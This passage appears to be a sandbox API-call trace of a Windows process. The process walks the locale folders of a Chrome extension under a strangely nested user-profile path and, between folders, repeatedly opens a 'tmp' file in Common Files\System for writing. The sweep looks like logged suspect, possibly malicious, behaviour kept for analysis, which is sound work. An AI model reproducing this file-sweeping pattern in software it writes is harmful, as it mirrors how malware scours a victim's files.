ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.367] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.367] GetLastError () returned 0x12 [0144.367] AreFileApisANSI () returned 1 [0144.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.368] GetFileType (hFile=0x128) returned 0x1 [0144.368] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.368] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.368] GetLastError () returned 0x12 [0144.368] AreFileApisANSI () returned 1 [0144.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.368] GetFileType (hFile=0x128) returned 0x1 [0144.368] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.415] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.415] GetLastError () returned 0x12 [0144.415] AreFileApisANSI () returned 1 [0144.415] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.416] GetFileType (hFile=0x128) returned 0x1 [0144.416] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.416] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.416] GetLastError () returned 0x12 [0144.416] AreFileApisANSI () returned 1 [0144.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.416] GetFileType (hFile=0x128) returned 0x1 [0144.416] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.461] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.461] GetLastError () returned 0x12 [0144.461] AreFileApisANSI () returned 1 [0144.461] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.462] GetFileType (hFile=0x128) returned 0x1 [0144.462] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.462] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.462] GetLastError () returned 0x12 [0144.462] AreFileApisANSI () returned 1 [0144.462] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.462] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.462] GetFileType (hFile=0x128) returned 0x1 [0144.462] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.509] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.509] GetLastError () returned 0x12 [0144.509] AreFileApisANSI () returned 1 [0144.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.509] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.509] GetFileType (hFile=0x128) returned 0x1 [0144.509] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.509] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.509] GetLastError () returned 0x12 [0144.509] AreFileApisANSI () returned 1 [0144.509] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.510] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.510] GetFileType (hFile=0x128) returned 0x1 [0144.510] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.555] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.555] GetLastError () returned 0x12 [0144.555] AreFileApisANSI () returned 1 [0144.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.555] GetFileType (hFile=0x128) returned 0x1 [0144.555] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.555] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.555] GetLastError () returned 0x12 [0144.555] AreFileApisANSI () returned 1 [0144.555] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.556] GetFileType (hFile=0x128) returned 0x1 [0144.556] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.602] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.602] GetLastError () returned 0x12 [0144.602] AreFileApisANSI () returned 1 [0144.602] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.602] GetFileType (hFile=0x128) returned 0x1 [0144.602] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.602] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.603] GetLastError () returned 0x12 [0144.603] AreFileApisANSI () returned 1 [0144.603] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.603] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.603] GetFileType (hFile=0x128) returned 0x1 [0144.603] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.648] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.648] GetLastError () returned 0x12 [0144.648] AreFileApisANSI () returned 1 [0144.648] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.649] GetFileType (hFile=0x128) returned 0x1 [0144.649] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.649] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.649] GetLastError () returned 0x12 [0144.649] AreFileApisANSI () returned 1 [0144.649] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.649] GetFileType (hFile=0x128) returned 0x1 [0144.650] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.695] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.695] GetLastError () returned 0x12 [0144.695] AreFileApisANSI () returned 1 [0144.695] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.696] GetFileType (hFile=0x128) returned 0x1 [0144.696] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.696] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.696] GetLastError () returned 0x12 [0144.696] AreFileApisANSI () returned 1 [0144.696] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.697] GetFileType (hFile=0x128) returned 0x1 [0144.697] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.742] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.742] GetLastError () returned 0x12 [0144.742] AreFileApisANSI () returned 1 [0144.742] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.742] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.742] GetFileType (hFile=0x128) returned 0x1 [0144.742] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0144.743] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0144.743] GetLastError () returned 0x12 [0144.743] AreFileApisANSI () returned 1 [0144.743] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0144.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0144.743] GetFileType (hFile=0x128) returned 0x1 [0144.743] FindFirstFileA (in: lpFileName="C:\\Documents and 